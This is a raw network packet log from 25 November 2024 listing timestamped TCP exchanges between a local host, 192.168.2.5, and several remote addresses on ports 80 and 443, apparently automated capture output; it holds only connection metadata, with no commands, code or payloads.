Nov 25, 2024 14:14:45.828674078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.828777075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.829480886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.829562902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.830110073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.830293894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.830447912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.830518961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.830620050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.830667019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.831264019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.831325054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.831443071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.831579924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.832264900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.832276106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.832329035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.833254099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.833333015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.833422899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.833476067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.833940983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.833997965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.834243059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.834291935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.835042000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.835056067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.835093975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.835117102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.836031914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.836044073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.836225033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.836934090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.836999893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.837110996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.837161064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.837866068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.837918043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.838027000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.838083982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.838860989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.839051962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.839195967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.839247942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.839493036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.839601994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.864243984 CET	443	49848	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:45.864563942 CET	49848	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:45.864584923 CET	443	49848	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:45.865668058 CET	443	49848	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:45.865736008 CET	49848	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:45.867007971 CET	49848	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:45.867080927 CET	443	49848	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:45.867224932 CET	49848	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:45.907341003 CET	49848	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:45.907377005 CET	443	49848	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:45.907413960 CET	443	49848	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:45.947947025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.947962999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.948014975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.948043108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.948270082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.948282957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.948329926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.948570967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.948584080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.948618889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.948635101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.948786974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.948843956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.949207067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.949486017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.949506998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.949520111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.949557066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.949590921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.949852943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.949913025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.950400114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.950593948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.950951099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.951066017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.951503038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.951577902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.952416897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.952429056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.952471018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.952492952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.952560902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.952574015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.952585936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.952598095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.952616930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.952657938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.953516960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.953528881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.953572989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.953950882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.953999996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.954463959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.954540014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.955060005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.955073118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.955126047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.955277920 CET	49848	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:45.955641985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.955699921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.955845118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.955894947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.956825972 CET	49862	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:45.956871986 CET	443	49862	23.219.82.98	192.168.2.5
Nov 25, 2024 14:14:45.956954002 CET	49862	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:45.957359076 CET	49863	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:45.957396984 CET	443	49863	23.219.82.98	192.168.2.5
Nov 25, 2024 14:14:45.957456112 CET	49863	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:45.957556009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.957565069 CET	49862	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:45.957578897 CET	443	49862	23.219.82.98	192.168.2.5
Nov 25, 2024 14:14:45.957613945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.957693100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.957734108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.957890987 CET	49863	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:45.957904100 CET	443	49863	23.219.82.98	192.168.2.5
Nov 25, 2024 14:14:45.958214045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.958388090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.958453894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.959340096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.959570885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.959700108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.959755898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.960077047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.960160971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.960397959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.960453987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.960886955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.960937977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.961042881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.961093903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.961467981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.961478949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.961555004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.961818933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.961879015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.962039948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.962102890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.962918043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.962974072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.963151932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.963197947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.963809013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.963857889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.963917017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.963960886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.964597940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.964644909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.964764118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.964816093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.965497017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.965719938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.965783119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.966511011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.966571093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.966664076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.966705084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.967370987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.967427015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.967464924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.967583895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.968278885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.968362093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.968422890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.968470097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.969347954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.969398022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.969492912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.969544888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.970345974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.970424891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.970429897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.970537901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.971123934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.971225977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.971252918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.971436024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.971959114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.972081900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.972115993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.972134113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.972913027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.972963095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:45.973083019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:45.973136902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.020176888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.020241022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.020519972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.020575047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.020690918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.020701885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.020745993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.021372080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.021429062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.021919966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.021992922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.022317886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.022442102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.023185015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.023299932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.023339033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.023422003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.023443937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.023518085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.024244070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.024302006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.024514914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.024588108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.025362015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.025413036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.025775909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.025826931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.026365042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.026439905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.026448011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.026534081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.027275085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.027329922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.027383089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.027436018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.028093100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.028148890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.028240919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.028281927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.028799057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.028836966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.028856993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.028878927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.029694080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.029757977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.029937029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.029984951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.033094883 CET	443	49854	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.033147097 CET	443	49856	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.033380985 CET	49854	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.033411980 CET	443	49854	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.033616066 CET	49856	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.033633947 CET	443	49856	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.033804893 CET	443	49854	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.034132004 CET	49854	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.034149885 CET	443	49858	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.034224987 CET	443	49854	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.034300089 CET	49854	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.034406900 CET	49858	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.034418106 CET	443	49858	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.034662008 CET	443	49856	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.034746885 CET	49856	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.035098076 CET	49856	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.035160065 CET	443	49856	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.035337925 CET	49856	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.035346985 CET	443	49856	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.035459995 CET	443	49858	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.035526991 CET	49858	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.035892963 CET	49858	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.035959005 CET	443	49858	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.036019087 CET	49858	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.067090034 CET	443	49846	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:46.067111015 CET	443	49846	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:46.067189932 CET	49846	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:46.067202091 CET	443	49846	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:46.069130898 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:46.069169998 CET	443	49864	204.79.197.219	192.168.2.5
Nov 25, 2024 14:14:46.069274902 CET	443	49846	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:46.069351912 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:46.069432974 CET	49846	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:46.069614887 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:46.069691896 CET	443	49865	204.79.197.219	192.168.2.5
Nov 25, 2024 14:14:46.069730997 CET	49846	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:46.069730997 CET	49846	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:46.069749117 CET	443	49846	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:46.069772005 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:46.070027113 CET	49846	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:46.070280075 CET	49864	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:46.070292950 CET	443	49864	204.79.197.219	192.168.2.5
Nov 25, 2024 14:14:46.070552111 CET	49865	443	192.168.2.5	204.79.197.219
Nov 25, 2024 14:14:46.070588112 CET	443	49865	204.79.197.219	192.168.2.5
Nov 25, 2024 14:14:46.070612907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.070660114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.070689917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.070707083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.070781946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.070868015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.070919991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.071556091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.071659088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.071712971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.071799040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.072191954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.072257042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.072308064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.072355032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.072793961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.072933912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.072992086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.073681116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.073734045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.073877096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.074081898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.074635983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.074848890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.074889898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.074929953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.075018883 CET	49856	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.075553894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.075611115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.075617075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.076415062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.076467037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.076687098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.077507019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.077562094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.077626944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.078100920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.078330994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.078387022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.079330921 CET	443	49854	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.079365969 CET	443	49858	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.081592083 CET	49858	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.081604958 CET	443	49858	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.123217106 CET	49858	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.125657082 CET	443	49855	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.126168966 CET	49855	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.126190901 CET	443	49855	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.126480103 CET	443	49857	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.126507998 CET	443	49855	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.126835108 CET	49855	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.126903057 CET	443	49855	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.127114058 CET	49857	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.127135038 CET	443	49857	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.127340078 CET	49855	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.128402948 CET	443	49857	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.128499031 CET	49857	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.129009008 CET	49857	443	192.168.2.5	104.117.182.27
